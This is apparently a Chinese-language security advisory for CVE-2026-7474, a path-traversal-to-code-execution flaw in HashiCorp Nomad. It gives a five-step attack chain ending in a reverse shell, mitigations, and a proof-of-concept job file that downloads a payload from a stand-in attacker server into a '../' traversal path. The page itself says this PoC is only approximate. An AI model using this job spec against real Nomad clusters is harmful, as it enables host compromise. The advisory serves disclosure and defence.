IPBUF安全漏洞报告
English
CVE-2026-7474 CVSS 8.8 高危

CVE-2026-7474: HashiCorp Nomad 路径遍历致代码执行漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-7474
漏洞类型
路径遍历 (Path Traversal) -> 远程代码执行 (RCE)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
HashiCorp Nomad, HashiCorp Nomad Enterprise

相关标签

RCEPath TraversalHashiCorp NomadCode ExecutionCVE-2026-7474High Severity

漏洞概述

HashiCorp Nomad 和 Nomad Enterprise 在 2.0.1 之前的版本中存在一个严重的安全漏洞。该漏洞源于对动态主机卷的处理不当,允许攻击者通过路径遍历攻击在客户端主机上执行任意代码。由于攻击复杂度低且无需用户交互,拥有低权限的攻击者即可利用此漏洞绕过目录限制,将恶意文件写入敏感位置。此漏洞对系统的机密性、完整性和可用性均构成严重威胁,建议用户尽快升级至修复版本。

技术细节

该漏洞的核心在于 Nomad 处理动态主机卷时,未对用户提供的路径参数进行充分的过滤和验证。在 Nomad 的任务调度模型中,用户可以通过 Job Specification 定义任务所需的资源。攻击者利用路径遍历序列(如 '../'),能够突破预期的挂载点限制,将任务依赖的文件或动态卷挂载到客户端主机的任意文件系统路径中。由于 Nomad 客户端进程通常以 root 或高权限用户运行,攻击者可将恶意的共享库文件或可执行脚本写入系统关键目录(如 /usr/local/lib 或 /etc/cron.d)。结合 Nomad 的任务加载机制或系统的自动加载机制,当任务启动或系统刷新配置时,恶意代码将被执行,从而导致客户端主机被完全控制。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络寻找开放的 HashiCorp Nomad 集群及 API 端点。
STEP 2
2. 获取低权限凭证
攻击者通过泄露或社会工程学获取 Nomad 集群的低权限 Token (CVSS PR:L)。
STEP 3
3. 构造恶意 Job
攻击者编写包含路径遍历Payload的 Nomad Job Specification (HCL),目标是将文件写入系统敏感目录。
STEP 4
4. 提交并执行
通过 Nomad API 提交恶意 Job,Nomad Client 接收任务并处理文件,触发漏洞写入恶意文件。
STEP 5
5. 获取 Shell
利用系统机制(如库加载或 Cron)执行写入的恶意代码,在 Client 主机上获得反向 Shell 或控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
job "nomad_rce_poc" { datacenters = ["dc1"] type = "batch" group "exploit_group" { task "path_traversal_task" { driver = "exec" # Simulating the vulnerable dynamic host volume configuration # The vulnerability allows escaping the allocation directory via path traversal config { command = "/bin/sh" args = ["-c", "cat /tmp/pwned.txt"] } # Vulnerable artifact or volume configuration leading to path traversal # Note: Actual payload depends on the specific vulnerable parameter in Nomad < 2.0.1 artifact { source = "http://attacker-controlled-server/payload.sh" destination = "local/../../tmp/payload.sh" # Path traversal attempt } } } } /* * PoC Explanation: * 1. This Nomad job file attempts to download a payload. * 2. The 'destination' path uses '../' to traverse out of the sandbox. * 3. If successful, the file is written to /tmp/. * 4. Execution is triggered depending on the specific exploitation technique (e.g., library preloading). */

影响范围

HashiCorp Nomad < 2.0.1
HashiCorp Nomad < 1.11.5
HashiCorp Nomad < 1.10.11
HashiCorp Nomad Enterprise < 2.0.1
HashiCorp Nomad Enterprise < 1.11.5
HashiCorp Nomad Enterprise < 1.10.11

防御指南

临时缓解措施
如果暂时无法升级,建议严格限制 Nomad API 的网络访问,仅允许可信的 IP 地址连接。同时,应审查所有已提交的任务定义,确保其未使用包含路径遍历字符(如 "../")的卷或工件路径。此外,可以在操作系统层面监控 Nomad Client 节点上的敏感目录(如 /etc, /usr/lib, /tmp)的异常写入活动,作为入侵检测手段。

参考链接